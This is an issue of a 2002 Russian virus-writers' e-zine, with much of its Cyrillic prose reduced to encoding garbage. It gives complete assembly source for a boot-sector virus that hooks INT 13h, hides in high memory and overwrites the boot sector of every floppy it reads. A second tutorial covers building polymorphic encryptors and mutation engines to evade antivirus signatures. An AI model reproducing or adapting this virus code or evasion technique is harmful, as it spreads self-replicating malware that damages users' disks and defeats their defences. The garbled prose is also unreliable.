
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       http://www.rezus.boom.ru
                       Helloween.virus@mail.ru

                        [H  ]

                    Ŀ
                     Hp 3  2002 (p 8) 
                    


                         ࠧ BOOT?

     ⢨⥫쭮 ,       㢠騩
ᥡ ଥ!   㤨⥫쭮  ⮢ -
ᮢ ᫨  㢥祭,  ᮢᥬ 讥.    -
    ।    ᮢ    䠩-⮢  -
ᯮ ONEHALF! H   쪨  直 ⮦  
ᮡ ⠪  ᤠ,   , , 㦥 -
.   ᥩ 室  ९뢠  誨    㧮묨
᪥⠬ - ᮡ  ᥣ譨 ꥬ  襪.    
ᠬ ନ "㧮筠 ᪥"  ୮  ⮫쪮  ਪ,
稭訥  ᢮    㤮            祬-    த
--_⠬...    ᥩ  㠫쭮  ࠦ
MBR',   - ᨪ,  ᥬ ਬ    ...  H
ᯥࢠ    ᫮ (         ⠫?).
⠪,  祬   㦭, ࠦ 㧮  ᥪ?  
⥬  ࠧ   㧨 ࠭ ,  DOS , 
ᠬ , ⨢.   ⥬    㪠  -  ⢮ਬ
 ⨬,     ⠭  ⨯ "⪠ ଠ-
஢  ஦ ᪠ C:!" -      墠-
 INT 13h,   ࠡ⠥ אַ  BIOS,      -
, ஬ 筮 - ⠬ Virus Warninga,     
 . H, 筮, ᥩ 騩  । ᪠    
   堫  ஢,   13h/int 2fh.     
  ,   ⮬ 蠫.   .   . 
 ᯮᮡ  ᢮ ⪨. ᠥ ࢮ -    -
- 襬 ७, 㣮 ,     -
 ⪠ ஢  .       -
, ,  ਭ        ࠡ  ⨢,
-  !  ,    襢 -
 ⠪.     ⮣  ⠭  짮
⨢. H  㦤 -    ⠭...  ॥  
 ᮢ  . :)

  H  13h/int 2fh -   !  㣮   -
 2fh  ᤥ  .   ⨢᭨ ⮦ 
㬥 - 㬠   .

   ⮬  ⮢  ࠧ  릨,   ⠢
祭.  ⫨稥  䠩 ᮢ ⥫ 堭  -
  冷 . H  ⮬ .

 H  ⥯ ३  !  砫      ⥮ਨ.  ;)
⠪, BOOT-ᥪ ᪥.   ᥪ  ᯮ    
0/0/1 ( ଠ ஦/஭/ᥪ),    䨧-
 ᥪ.

        ଠ -ᥪ:

   Ŀ
    饭 ਩                     
   Ĵ
      000     03 jmp        室  稪   
   Ĵ
      003     08  ;)  H , f.e. MSDOS 5.0     
   Ĵ
      00B     02 SectSize  ⢮   ᥪ       
   Ĵ
      00D     01 CS :))))) ⢮ ᥪ஢    
   Ĵ
      00E     02 ResSect   ᫮ ᥪ஢  १ࢥ  FAT
   Ĵ
      010     01 FAT       ⢮ FAT                  
   Ĵ
      011     02 RootSize  ᫮ ⮢  ୥         
   Ĵ
      013     02 TotSect   饥 ᫮ ᥪ஢            
   Ĵ
      015     01 Med       ਯ ⥫,    
                             FAT                 
   Ĵ
      016     02 FATSize   ᫮ ᥪ஢  FAT            
   Ĵ
      018     02 TrkSect   ᫮ ᥪ஢  ஦       
   Ĵ
      01A     02 HeadCnt   ⢮ 孮⥩         
   Ĵ
      01C     02 HidnSect  ⢮  ᥪ஢     
   Ĵ
      01E     02 Nothing   ⮥                     
   Ĵ
      020        IPL0       稪                 
   Ĵ
      1FE     02 Sign      ⪠ ⥬ ᥪ 55AAh  
   

   饬    ⠪. H      ᢮  ᮡ⢥
稪   ண. H   砥  ண  ⠡-
 ࠬ஢ ᪠ -    ਣ!  -...  
⠡ ᯮ DOS  ⥭ ᪨, 㤠 DOS    
   樮஢  ᪮.  ⠡-
  ࠧ  ଠ஢  ⮬    祣   -
. ᫨   ⨬ 㡨  䨣,   ࠦ  ᥪ
  ࠭   ᢮ ⥫, ⮡  ⠫.    
, - H  १.   祣  
ࠧ. ⥫쭮,      .    ...
祢   㧪 DOS MCB    뤥    ᬮ,  
᫥ 㧪 㤥 㦥  - -   -
 ... H           ,
 㬥訢 ࠧ   DOS.   ࠧ  ࠭  
 0000:0413h,     . ᫨   ᤥ
 DEC,    ࠧ 墠   ⠭. :)

   ࠢ  ࠡ... H   ᮢ襭⢠... :(
    ⮬   ᫥ ६   ⠭  த-
 ஢,  㬥  CTRL+L  直 ⠬ H-
...   ᮢ襭 ᤥঠ , 㦨  ⠬  ᫮
 㣮 祬 640 ...  ⮬   ଠ  
... ... Advanced Lamers... :((((
    ⨢ᠬ  ⥫쭮,   13h  -
 㪠뢠  ࠭  DOS,     BIOS... ࠢ-
    ,   ...  -
室 -  㧪 DOS, 墠 INT 21h,   -  
⠥ ᢮ 筮 让  ,    ࠧ
⮣ , ४஢ MCB,  , ᢮ INT 21h,
४஢ ࠧ  DOS.        ᢮
,  ⪨ 믮 ணࠬ १ 4Bh,   뤥  
ᠬ... H    㣮 ᪮      ४  -
⢨  ਢ     ᥣ樨  ...  -
 ᠬ, 蠩 ᠬ...    . :))))

  ⠪,  ⠫  . 墠⨬        -  
᫥ 뢠.  ⥩襬 砥  13h     -
筮 ᯮ㥬 -  맮 饣 13h.    ਭ-
 祭. ⠫ ⮫쪮  㧨  ଠ  -ᥪ,
    ࠭  ⥫ ,  ।   -
ࠢ.    쪨 ਩:  砫쭮  -
㧪 -ᥪ ᥣ 㧨   0000:7C00h,    
⠬   ࠡ⠥!    뫨  㦥    㤠,    
ᯫ뫨. :)  㤠  㧨 ଠ .   .  -
楩 ࠧࠫ, ३ ⥯  栬. :)  ࠧ  ?
祢,  ⪥  ⥭. ᫥    쭮
 -    墠⨫ INT 13h.  ஫㥬 -
 ᥪ஢.    ᥪ஢, 墠  0/0/1. ᫨ ⠥-
 ,   ᬮ   ⠬ ⠪ ⠫... ᫨  -
,  祢   浪.   ᫨ ...   -
 ਭ ᮮ⢥騥 .  ᫨ ஡,   ᪮-
  ᢮ ⥫ ⠡ ࠬ஢ ᪠,    ⠭
  㣮 ᥪ,  ᥡ   0/0/1 -  -ᥪ.   
  室  ᠬ ᭮  -  㤠  ࠭  
? ᭮   ⢮  ⮨ -      砩
࠭   । MSDOS.SYS :)   FAT,  ⮦ -
. :) H  筮  ... ॥ ⮤ 몠    
   䠩,   Unused.    㣮 .  ᫨  
  䠩,   䨣,    Unused -  ᯮ짮-
 ᥪ.  ⠪ ᥪ  ⥭ ॢ  Used.
:(  ⮬ ଠ   ⠪  ᥪ  祬-    ;)
࠭, ࠢ? :)     㤥 㧮 -    -
訫 ᠬ㡨⢮...   ࠢ쭮.      ?  
 2 ᭮ ਠ.  - ᫮.  :(  H  ᪨
FAT  । ᪠ Unused ᥪ,    BAD,  -
  . ⮤ , ... 直 NDD  祥   
    堫... ⮬  । ன -
⮤.  ,   䥪⨢.     -
  ,   ⭮      ७.  狼
  ⮣ . :) 襬       ᫥  ᥪ
୥ ⠫.      ᥪ -     
। 㬮.     ⥬᪨  -
...  㥬  DOS -     ⮢  ६
 ⠡ ࠬ஢ ᪠. H   ᬮ   ,
   뢠 쭮... :)))

     ; ᫥   ࠭ ண 
     mov     ax,es:[bx+18h]          ;᫮ ᥪ஢  ஦
     sub     es:[bx+13h],ax          ;饥 ᫮ ᥪ஢-ax
     mov     ax,es:[bx+13h]          ;AX=饥 ᫮ ᥪ஢- ஦
     mov     cx,es:[bx+18h]          ;CX=᫮ ᥪ஢  ஦
     xor     dx,dx
     div     cx                      ;稬 ᫮ ஦-1
     xor     dx,dx
     mov     cx,word ptr es:[bx+1ah] ;CX=᫮ 孮⥩
     div     cx                      ;稬 ᫮ ஦  
                                     ;஭
     push    ax
     xchg    ah,al                   ;AX=㦭 ஦ (᫥)
     mov     cl,6
     shl     al,cl                   ;訥    ஦
     or      al,1                    ;ᯮ㥬 ᫥騩 ᥪ
     mov     word ptr floppy_sect,ax ;࠭  ᥪ
     pop     ax                      ;ax=᫮ ஦  ஭
     mov     cx,word ptr es:[bx+1ah] ;cx=᫮ 孮⥩
     xor     dx,dx
     div     cx                      ;᫮ ஦  ஭/᫮
                                     ;஭
     mov     byte ptr floppy_head,dl ;⮪ 㤥  ஭

        ᭮   , ? H       
        ᪠   ᫥ ᥪp p? ;))) H   
           ᯮᮡ -  ࠫ      -
        VLAD'.      ᮤࠫ  ANTI-EXE  -  ᨬ-
          :)  ਤ㬠 - ᢮,    -
         墠. :)    ᫠... :(((

          ⨩  ࠭   ᥪ -  -
        饭 ଠ  樫     
         㤠. H ,   ⠪ ᪠ ⮡   -
        ...   﫨... ;)))     ⮤    
          ਭ樯,  ஬...       
        ⠡栬  ᪠  稬 ࠧ,      ᤥ-
        ,  .      ࠢ,    殢
           ᯮ, ⠪    . :)

[AK]    -    ᠬ ⮩  祢 ᯮᮡ - ࠭
        室   㫥 ஦.   ⮩ ஦ ஬
        ᠬ   1- ᥪ  祣  ࠭   
           ਬ  0/0/2 :)   窠  
        ४.

[VB]   ⠬  㯮 -  ⥫?  H  ,  
        ... 襭. :)   ⮡ ⥫    䠩  
        娫  - 뢠 ,  䠩  -
        ⨨ - ᠬ ⮩ .     ,    ⠪
         㤠  ᫮...  㦥    -
         ⨯ ADINF',  嫥    ନ,  ⮪  
        ࠢ  ⠬  ᥪ  ⥬  ⠬   䠩...
         ⮢ ⥫   ⮢    ,    
          ,    ࠧ ᮡ -  -
              ࠢ... ᫨      -
         娫... :(   ⮣  ⮡      ⠫
        ⥫ᮬ, 筮 ⠢  ࠡ稪 13h ᮢᥬ -
        ...      筮    ⥭  㦥
        ࠦ ? ࠢ쭮 - 稢 ࠡ  -
        뢠!  ⮣-     . ᫨   -
        ⠫ 㦥 ࠦ  -     ࠧ, 
          ,  㦥 ஢, ࠭ ०.   !
        , ⮢,   !  ()    
        ,  ,   ⥫.  ࠩ.  ࠧ
           -    ᯥ,      ᪠-
                 ⮪  ᠭ  -
        - ⮯,  ࢠ, 筮,   ... -
           祣    ... :)   
         㬥,   ७,   ... ;)      
        ,   直 . H    
        ६ ঠ   ᪥     猪
        ॢ...  ᫨  㧪    䫮  筥
         -। -  㤨!    ।०-
         -  㦥.   ,    㤥 
        浪. :)

             ਬ BOOT/MBR-.

                .286
        .model tiny
        .code

        org 00h
start:  jmp install
;jmp fuck                           ; go fuck yourself :)
table:                              ;    㤥 ⠡ ᪠
        org 4ch                     ; ᠬ     , ...
fuck:   nop                         ;   ਪ
        xor di,di                   ; 㫨  䨣
        mov ds,di                   ; DS=0
        cli                         ;    ᭮ :)
        mov ss,di                   ; SS=0
        mov si,7c00h                ; SI -   , ⠬ 
                                    ; 稭.   㤠 㧨
                                    ;   砫? ;)
        mov bx,si                   ;  ...  ਣ :)
        mov sp,si                   ;  ⥪ 㤥   .
        sti                         ;   :)
        dec word ptr ds:[0413h]     ; ⮪   ୮ 㤥, 
                                    ;   ⨪ ⤠
        mov ax,ds:[0413h]           ;   ࠧ -  
        mov cl,06                   ; ⮡  ᥣ  ᫮
        shl ax,cl                   ;  㬭  40h
                                    ;  䬥⨪ - ᥣ 
                                    ;  砫   ࠣ, -
                                    ; =10h , 40h ࠣ䮢=400h
                                    ; =1.   ᭮.
        mov es,ax                   ; ES=  ᥣ
        push ax                     ;  ⥪  - 㤥  室
        mov ax,offset inst_int      ;    ᬥ饭
        push ax                     ;    ⥪ ⮦
        mov cx,200h                 ;  ᯥࢠ  ७ ᢮ ⥫
        cld                         ;    ᥣ
        rep movsb                   ; ७ᨬ
        retf                        ; 室 १ ⥪ - 㤮 :)
inst_int:                           ;   㦥   ᥣ
        mov ax,ds:[13h*4]           ; INT 0E0h=INT 13h original
        mov ds:[0e0h*4],ax          ;
        mov ax,ds:[13h*4+2]         ;
        mov ds:[0e0h*4+2],ax        ;
        mov word ptr ds:[13h*4],offset int13    ; INT 13h= ࠡ稪
        mov ds:[13h*4+2],cs             ;
        xor cx,cx
        push cx                         ; ᭮ ⮢  室
        push bx                         ; १ ⥪   0000:7C00h
        mov es,cx
        mov ax,0201h                    ;  ଠ -ᥪ
        mov cx,cs:floppy_sect           ;     
        mov dh,cs:floppy_head           ;
        xor dl,dl                       ;  ᪠ : ⢥
        int 0e0h                        ; 맮 ਣ쭮 INT 13h
run_boot:
        retf                            ;  .

;------  *** H ࠡ稪 INT 13h ***  -------
int13:  mov cs:shit,ax                  ; ࠭ ax
        int 0e0h                        ; 믮 
        jnc int_continue                ; ᫨ 뫠 訡 ᢠ ७
        jmp int_exit
int_continue:
        pushf                           ; 䫠  !
        cmp byte ptr cs:[shit+1],2      ; reading sectors?
        jnz g1
        cmp cx,0001                     ; Oooo, yeah!
        jne g1
        cmp dh,0                        ; ⠥ ?
        jne g1
        cmp dl,01                       ;    ?
        jna fuck_boot
g1:     jmp get_out

;------------- ࠡ稪 ⥭   ᪥ ---------------
fuck_boot:
        pusha                   ; ᬮ  ᢮ !   
                                ;  -1840!!!   ᮢ 
                                ; ⠪  -   ਭ樯쭮 -
                                ; - 祡,   ࠪ⨪ !
        push ds es
        push es
        pop ds
        lea di,fuck             ; ࠢ      ᬥ饭 fuck
        mov ax,cs:[di]          ;  ⥬   ⠫  ⮬  ᬥ饭
        mov si,bx               ;   ஢塞 ࠦ 
        add si,offset fuck      ; 㦥  -ᥪ
        cmp ax,[si]             ;
        jz exit_boot_work       ; ᫨   㩤 
        cmp dl,1                ;  直  :)  ਭ樯 
        ja exit_boot_work       ;  ஢ 모 -  㦥 뫠

; -----   ᠬ ᭮  -    ANTI-EXE :(   -----
find_place:                     ;   㤠   -ᥪ
        mov ax,[bx+16h]         ; ax=᫮ ᥪ஢  FAT
        mul byte ptr [bx+10h]   ; 㬭   ᫮ FAT
        add ax,[bx+0eh]         ; ਡ ᫮ १ࢭ ᥪ஢  FAT--
        push dx                 ;  dx - ⠬  ᪠  ஭   |
        mov cl,4                ;                                           |
        mov dx,[bx+11h]         ; dx=᫮ ⮢ ୥ ⠫     |
                                ; 1   32                |
        shr dx,cl               ;    16 - 稬 ᫮ ᥪ஢ |
                                ; , த  ⠪...                    |
        add ax,dx               ; ਡ  AX------------------------------
        dec ax                  ; 㬥訬  1
                                ;  AX 浪  ᫥ ᥪ
                                ; ROOT'a... ???
        mov cx,[bx+18h]         ; cx=᫮ ᥪ஢  ஦
        push cx                 ;  
        shl cx,1                ; 㬭  2
        xor dx,dx               ; dx=0
        div cx                  ;  DX:AX  CX
        pop cx                  ; 騬 CX  ⥪ - ⠬ ᫮ ᥪ஢ 
                                ; ஦ 뫮
        push ax                 ;  ⭮  ।饣 
        mov ax,dx               ;  AX ᥬ ⮪  
        xor dx,dx               ; DX=0
        div cx                  ;   ࠧ
        mov dh,al               ; DH= 
        mov cl,dl               ; CL= ᥪ
        pop ax                  ; 모 AX
        mov ch,al               ; CH= ஦
        inc cl                  ; ਡ   1
        pop ax                  ; AX=襥 DX - ⠬ 뫠 ஭  
                                ; ᪮
        mov dl,al               ;   DL
        mov cs:floppy_sect,cx   ;   稫 
        mov cs:floppy_head,dh
;     ⨥ :)
; , ॡ,      ᭨, ᠬ  㤮 .
;    - ४  㬠.
;  ⠬ ᪠  

;---------all found dh,cx rules---------
        mov ax,0301h            ;    㤠 
        int 0e0h
        jc exit_boot_work       ; ᫨ 뫠 訡 - ४ ࠡ
                                ; ⮡  㡨  ᮢᥬ
                                ;  ⮣   ,   
                                ;  - ⭮ ⮣  ᫥
                                ;  ᥪ BAD 祭 , ...
        push cs
        pop es
        lea di,table            ; ᪮㥬    ᢮ ⥫ ⠡
        mov si,bx               ; ࠬ஢ ᪠
        add si,offset table     ;
        mov cx,4ch-3            ;
        rep movsb               ;
        push cs
        pop es
        mov ax,0301h            ; 襬  -ᥪ
        xor bx,bx
        mov cx,0001
        xor dh,dh
        int 0e0h
exit_boot_work:
        pop es ds               ; ⠭   㡨
        popa

get_out:
        popf                    ;  䫠 易⥫쭮
int_exit:
        retf 2                  ; 室  뢠
;-------------data block--------------
floppy_sect     dw 2f08h
floppy_head     db 01
shit            dw 0
        org 510
sign            dw 0aa55h       ; ਪ ⮡  㣠 NDD  稥...
                                ;   ⪠ ⥬ ᥪ

; -----   ⠫    ᪥   -----
; -----    筮 ,   ᨢ :)   -----
; -----     ⠪  㬥 ⮫쪮 ᫥ ⮩ 뫪 뢠 ;)   ---
; -----    ஢  祣 -  ୮   -----
install:
        mov cs:[0000],4aebh
        mov byte ptr cs:[0002],090h     ;     ਩ - 
                                        ;  㦭!!! ;)))
        push ds
        xor ax,ax
        mov ds,ax
        mov ax,ds:[13h*4]
        mov ds:[0e0h*4],ax
        mov ax,ds:[13h*4+2]
        mov ds:[0e0h*4+2],ax
        mov word ptr ds:[13h*4],offset int13
        mov ds:[13h*4+2],cs
        pop ds
        push cs
        pop es
        mov ax,0201h
        mov cx,0001
        mov dx,0000
        mov bx,offset our_buffer
        int 13h
        xor ax,ax
        mov ds,ax
        mov ax,ds:[0e0h*4]
        mov ds:[13h*4],ax
        mov ax,ds:[0e0h*4+2]
        mov ds:[13h*4+2],ax
        mov ax,4c00h
        int 21h
our_buffer:
        end start
; P.S.  ⠬ ਫ   뫪 ?     ।騥
;   믨  ६ ᠭ  ⫠ ⮣ ,  ᥬ... ;)))
;   訡, ᮡ   . ⮬    ࠢ
; ஢, ᥣ ஬, ࠧ  ,     ⥫ :)
;                                       Sincerely yours, VIRtual_Bomj
;                                               I'll be back!


                  ⠪ 䨪? ஢ 䭮.

                                䨧.

  묨 ᠬ 뢠  ,  騥  ᢮  
ࠧ묨 ᯮᮡ (筮, ᯮ騥 ࠧ  -
)  ६ ࠦ 䠩  ணࠬ. 筮, ⠪  -
 ᮤঠ  樨 ஢騪  ஢騪.   -
, ᮧ  ஬ ஢騪    ᮮ⢥-
騥  ஢騪, ⫨   㣠  ࠧ -
 ६.  ஢   ᭮    易⥫쭮
 ⢮ ணࠬ ࠢ쭮 ஢ - -
஢騪  ਯ (decryptor).

     ஢騪   ﭭ - 
   ஢ 䠩.  ᮡ
  ⥪஢ ஢ 䠩  ࠪ୮ 
  ப (᪥  ᨣ).

  䨧 - 筮 "த" 孨,  -
  㦨  ᪥ (ᨣ).  ᢮ ६ 
ந    ॢ  ᮯ⥫⢥,    -
㡨 ⨢ .   堭 -
  ! H ⨯ ਬ -  ண,  ࠢ-
騥 䠩  ⠫  騥  ᫨誮   ᮢ  
 ,   ⮩ ਬ  -  ,  
 宬. "⥫  祫⢠    ᮢ"  [(c)  祩-]
諮   , ࠧࠡ뢠 ਭ樯쭮   -
⮤ ஢ન 䠩    ⨢,     ᬮ  .
  孨 ᯮᮡ  ᪮쪮 㤭  -
-ᠬ窠,   몭  . H     쬠  -
   ⮬ 砥. ᪮ ⮡  襫  ,  
浪 ६,   ⥬騪    㣮,    
  ஦    ࠭  ⠤  ࠭.
COM-१   蠭ᮢ ஦       ࠧ-
   ਣ ,   ⨢   -
 筮    . ⭠ 㪠 ஢  䠩,
 ,      㬥. :) ⠪, 㯨   -
᪠  ...

 ⢥   ஬,    孥  Mutation
Engine, 筮  楤, ᮧ ६ (  -
 ) ஢騪   ஢  .  ⮤
஢   ࠧ묨, 筮   䬥᪨  -
樨 ⨯ ADD,SUB,ADC,SBB,  ᪨ ⨯ XOR.  易⥫쭮
᫮ -      "ઠ"  -
,  -  ந ஢ . ਬ:  ADD/SUB,
XOR/XOR, ROL/ROR.  樨 ந   ஢  
祩 , 㥬묨  ࠢ    -
஢ BX, BP, SI  DI.  ਠ  ⨯  [SI+BX+WORD],
 WORD ᫥ ࠭,  SI  BX ࠭ ⠪ ⮡  ᫮-
  WORD ᮢ 㦭 ⪨ .

  䭮 ஢騪   饬  ।-
 ⠪:
        mov reg1,addr
        mov reg2,count
to_crp:
        crp [reg1],byte
        inc reg1
        dec reg2
        cmp    祬 
        loop to_crp
;----஢ ------
...
;-------------------------
         筮  騩 ਠ, ⠪      -
          ६蠭  ᮡ  浪,   ⨢-
        騬 ࠢ ,  ஢   ந
         ⭮,  ᫮, , , ... H ⮨ -
          loop   ᥬ.    -
         ਠ⮢ ࣠樨 室.  inc    dec  ⮦
           祬- த add/sub/  
        .    易⥫쭮      ஢  -
          ॣ,   byte   ,  
         ()⮢ ॣ,   ⮬    
           ᠬ  । .   crp
        [reg],byte   룫拉 

        mov reg1,[reg2]
        ...
        oper reg1, 㣮(,᫮,ॣ)
        ...
        oper [reg2],reg1

         mov       -  த    sub
        reg,reg; add reg,addr H ?  㬥    -
        ? H  . ᪮ 㤭   -
        䨧  ᪨,       ᥬ.  H  ⠪  
        譮,     !  ᠭ  -
        䨪     襣 ஢-
        ,      .  饬-    -
         । 䨪 ।    ६  
         . H  ஢騪     .
            ᥣ ᯮ , 
           騥 ᫮ 㧪.    -
         -   ⮬  ᬮ     -
        ஬  㪠. 室 筮 ⮫쪮  窠   -
        ᮫,    . ஬  ⮣  
        㢥稢  砩   ஢騪  -  
               騥  .    
        । ᮡ ॡ -    , 
         :
        ) । ࠢ  । ஢騪,
        )  ॣ ᯮ㥬   ,
        ) ஢ ᪫祭  ⠫ 訡 ,
           ଠ  ࠡ ணࠬ  (f.e.  -
           sp, 뢠 ⨬ 㭪樨 뢠  ⨯
          int 20h  ..  -    !    ᫥
        .  ⮣,     .  Hਬ
        ࠩ ४ ⠢  ᫥ ࣠樨 横,
         । ஢  -  ᭨    ஡  
        ஬,  ᮬ  ⥫  -
        㬠 ᯥ樠쭮 ⨢ 䨪 :) ⪠.  ᭮
         :
        ) mov(add,sub,adc,xor,or,shl,...)
          reg,-(reg,[reg],immediate)  樨   -
          ஬, 䬥᪨  ᪨.  ਬ:  inc
          ax; mov ax,[si+bx-04]; add ax,1234h; or al,ch; adc ax,dx
        ) ઠ  :  add/sub,   inc/dec,    push/pop,
          xchg/xchg, rol/ror  ᯮ짮 ࠬ, -
           _⮫쪮_ ࠬ (push/pop),      ᫥
            ॣ  (    ⭮    ࠬ  த
          xor/xor -   ᬮ  : ᫥ xor ax,ax  
           xor ax,ax -  ⠭ ० 祭! ;)
        )  室   맮    ணࠬ.  jmp
           $+10h; call XXXXh; call $+0ah; loopz, je, jnc, ...
        ) 맮  㭪権 뢠 ⨯ mov ax,9fffh
           int 21h, int 08
        ) ࠭ ⮢ : daa; nop; cld; int3;

         ᨫ ⠪ ࠧࠧ ( 뢠    -
          㭪  ᮤঠ  ᥡ  ⪨  -
        )      ᫮  
        ME. H   ॣ,  ⮬ ⮡   SP,
          㦥  ⮬    㭪 㦥 ᢮ -
        , 祬  ᥣ ⮩.   樨  
         ⨯ 室 ⠡, ᮤঠ , -
         ⠡ ࠭ ,    ⠡  
         ନ஢ 室.    ᪮쪮  -
           ଠ  . ਢ -
        쪮 ਬ஢:

         push/pop:
         7 6 5 4 3 2 1 0
         0 1 0 1 x x x x
                  
                  ॣ
                  0 0 0 ax
                  0 0 1 cx
                  0 1 0 dx
                  0 1 1 bx
                  1 0 0 sp
                  1 0 1 bp
                  1 1 0 si
                  1 1 1 di
                 
                 ⨯ 樨 0 - push, 1 - pop

        䬥᪨ 樨  ⨯  ॣ,  ,-
          ॣ,ॣ,   ।⢥  -
        .    ⮨   .

            
         7 6 5 4 3 2 1 0
         0 0 x x x 0 x x
                     
                     1 = 16 
                     0 = 8 
                    1 = ᯥࢠ 筨 (  ⭮  ᫥. )
                    0 = ᯥࢠ ਥ ( ஬ 뢠 ࠭)
             0 0 0 = add
             0 0 1 = or
             0 1 0 = adc
             0 1 1 = sbb
             1 0 0 = and
             1 0 1 = sub
             1 1 0 = xor
             1 1 1 = cmp

            ன 
         7 6 5 4 3 2 1 0
         x x x x x x x x           ࠭:
                               ᭠   ॣ஢ 
                                    000 [BX+SI+]     000 AX  al
                 ࠭ 筨   001 [BX+DI+]     001 CX      cl
                 0 0 0 =             010 [BP+SI+]     010 DX      dl
                 . . .               011 [BP+DI+]     011 BX      bl
                 1 1 1 =             100 [SI+]        100 SP      ah
                                     101 [DI+]        101 BP      ch
            ࠭ ਥ         110 [BP+]        110 SI      dh
            0 0 0 =                   111 [BX+]        111 DI      bh
            . . .
            1 1 1 =
         
          樨
         0 0 = ॣ஢  . ࠭, ᪫祭 ᫨ ॣ
                筨 [BP+]
         0 0 = ᫨ ॣ 筨 [BP+],  筨  . ࠭,
                ᫮. ਬ: 00000110 -  oper ax,[word]
         0 1 = ᭠  8 ࠭ (⨯ add ax,[bx+0ah])
         1 0 = ᭠  16 ࠭ (⨯ add ax,[bx+0aaaah])
         1 1 = ॣ஢ (⨯ add ax,bx)

        樨 ᤢ:
            
         7 6 5 4 3 2 1 0
         1 1 0 x 0 0 0 x
                      
                      ࠧ來 ࠭ (0 =  ⨯ rol al,04)
                                           (1 = ᫮ ⨯ rol ax,04)
               ⨯ 樨 0 = oper reg,byte (⨯ rol ax,04) - 3 
                            1 = oper reg,1 (⨯ rol ax,1) - 2 
           ன 
         7 6 5 4 3 2 1 0
         x x x x x x x x
                 
              ࠭ ax = 000, cx = 001,  ..  ᭮ 筮
            
             樨
            0 0 0 = rol
            0 0 1 = ror
            0 1 0 = rcl
            0 1 1 = rcr
            1 0 0 = shl
            1 0 1 = shr
            1 1 0 = sal
            1 1 1 = sar
         
          樨
         0 0 - ᭠  . ࠭ (⨯ rol [BX+SI],04)
         0 1 - ᭠  8 ࠭ (⨯ rol [BX+SI+0ah],04)
         1 0 - ᭠  16  ࠭ (⨯ rol [BX+SI+0aaaah],04)
         1 1 - ॣ஢ (⨯ rol ax,04)

         ୮  론      㣨
        権, ਬ  権 ᢠ,  室,
         ।⢥ 樨  .. ਢ   
         ᫥. ᬮ  ⫠稪   hiew,
        ᯥਬ.

[AK]      ⠩ 㬥   ;)

[VB]    ன  -    窨 ७  ,
           ⮩   ॠ樨.    ⠢
        ⠡.  ⠡ -  ,   室-
         . ଠ, ⨯ ⠬ 稥 ઠ,  ઠ-
         室  ⮩ ⠡,     砩
        ࠭     , 易⥫쭮   
        ᯮ짮 ⮩  ⠢  ઠ  (  
        push/pop)  祥.  த㬠  ᠭ  -
        ⥫ ⮢ ⠡, 뢠    ⠢
        ᠬ ⠡. Hᠭ     ⠡栬  -
         ⮫쪮 ਢ쭠    ࠢ   ॡ-
         ( ଥ :). 筮, ⠡    ⠢
           ⠡    .    
        ⠢ ਬ୮ ⠪:

        db ??,??, ᪮ ⠬  㦭?! :)    ; mov reg,operand

         饬 뢠      (ਬ 
         ਬ mov ॣ, ࠭), ॣ  ࠧ-
            ᠬ.    ࠧ稪  ⠡  㤥
        -. :(    . ᯮ ⠪  ⮤
        ନ஢   ᪮쪨  ⠡栬,  ᮤঠ騬
         ,   #@   . ;)

           ३ ⥯  騬 .

        ᭮ ⮤ ⨦ 䨧  ᮢ -
        ,     㣨, , ,  -
        筮 ,  ⠢ ॣ஢.  筮  ᯮ
         ॣ஢ 㯯.  ॣ 饣 祭  
         ॣ.   ॣ    ᯮ짮-
          樨 ஢  樨 , H'
           ࠢ  . :) 筮  ⮡    -
        , 騩  樨, 筮    -
         ਡ  ⮣ ॣ.  ਬ:    
         mov 㤥 0B8h.  ॣ஢: 000 = AX 001 = CX
        ... 111 = DI -  ⨭, ࠢ?   
         MOV AX,WORD 㤥 0B8h+000,   MOV CX,WORD -
         0B8h+001 = 0B9h,  MOV DI,WORD 㤥 0B8h+111 =  0BFh
             .   ࠪ-
        ᪨   祬.  㦭 砩 뢠  
        ணࠬ ନ஢ 筮 .  H  
        ᪠ ⠪ .    ⠪    -
              -   ᤥ.  H-
        ਬ: inc reg = add reg,1 = (add reg,2 dec reg)  =  (add
        reg,word sub reg,word-1)     ᫮  -
        砨, ਬ  : pushf/popf    lahf/sahf  (
        ᫮  ॣ ax  騩)  ⠪  ࠧ
         ⢨ 室: (।     室  ⮨
         ࠢ) loopnz m1 (᫨ cx    騩  
        稪) = jne m1 = je m2; jmp  m1;  m2:  ᮢ  
        ⠪ ᫮. H     
         ⠬.    冷 맮 -
         ନ஢ . . Hᠭ ᮡ⢥  -
        䨪 筮 ᫮  ⭮ ணࠬ 
        ॡ 쭮 ᮪ 䨪樨.      ᬮ
         䨪, 筮.     ६
           ७. H    -
        楤 ନ஢   ⢨⥫쭮 ஡-
        筮.  祬  ᨯ?   ᠭ
         ⪨ ME.  訬  ᪨ 孮ᠬ. 
           ᤥ ᢮  묨,  -
         ᯮ짮   㦥 ᠫ  ,     
          ࠡ⠥. ࠢ    ⠪ 室.  
        稭. -,   㧭 ⨢ᠬ.
          祣 ⭮  ⮬    㤥  
        - DSCE.Based. 祬 ⨢ ।  -
        稥   ⥫ ,   ஢騪.    -
         ⨪  .    ᭮  稭
         ன    ⮢ ME.     
          㯮 ஢. ,   ⠢  
         室 ப த include dame.asm,      ᤥ-
           ,   ᤥ    㬭,    -
         ⨬  祣,    ࠢ Dark Angel, 
          .  ᫨  稭騩,  稭  
        ᯮ୮  ᯮ짮 㦨  ⥩襭,      -
              ᢮ -  ࠢ    
        . ᮡ  ME   asm  䠩,    
        obj-㫥. H  ⢨⥫쭮  (   -
        ) -祬 .   ⮫쪮 ,      㦭!
        , 筥 . :)  筮 ᯮ  -
         ?  -᢮.  H  ࠭
          맮 ᭮  ME  ࠬࠬ,  ࠭-
          । ॣ.  ࠢ :
        ) 㪠⥫  ࠡ稩  ( ⠬  㤥  ᮧ-
            ),  ࠢ    ॣ-
           ES:DI   ES:0000 - 㦭  ன  ᥣ-
          .
        ) 㪠⥫  砫     ஢,
           ᭮   DS:DX  DS:SI
        )  㥬  (!     -
           ⠪   ᫮! read the fucking manual!),  -
           筮 ᯮ CX,   ᥣ.
        ) ᬥ饭  䠩, 筥  ᥣ.  ⠬   -
           ࠡ ஢騪.  COM-䠩   䠩-
          +100h,  EXE -    ᯮᮡ  ࠦ.  
          ࠢ  ࠭ ࠣ 0000,  -  -
           . ⠭  ᯮ㥬   ⮣  -
             ࠡ⠫.      㣮,
           AX  BP.

        ன ᯮᮡ ᯮ짮,      
